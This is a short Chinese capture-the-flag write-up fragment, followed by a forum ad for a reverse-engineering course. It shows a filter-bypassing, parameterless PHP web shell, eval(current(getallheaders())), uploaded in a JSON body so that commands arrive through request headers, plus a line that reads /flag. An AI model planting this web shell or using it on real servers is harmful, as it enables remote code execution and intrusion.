因为有过滤所以使用无参数
rce{"data":"<?php eval(current(getallheaders())) ?>"}
上传文件以后 无参数rce是执行headers 里面的参数。
echo file_get_contents("/flag");
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!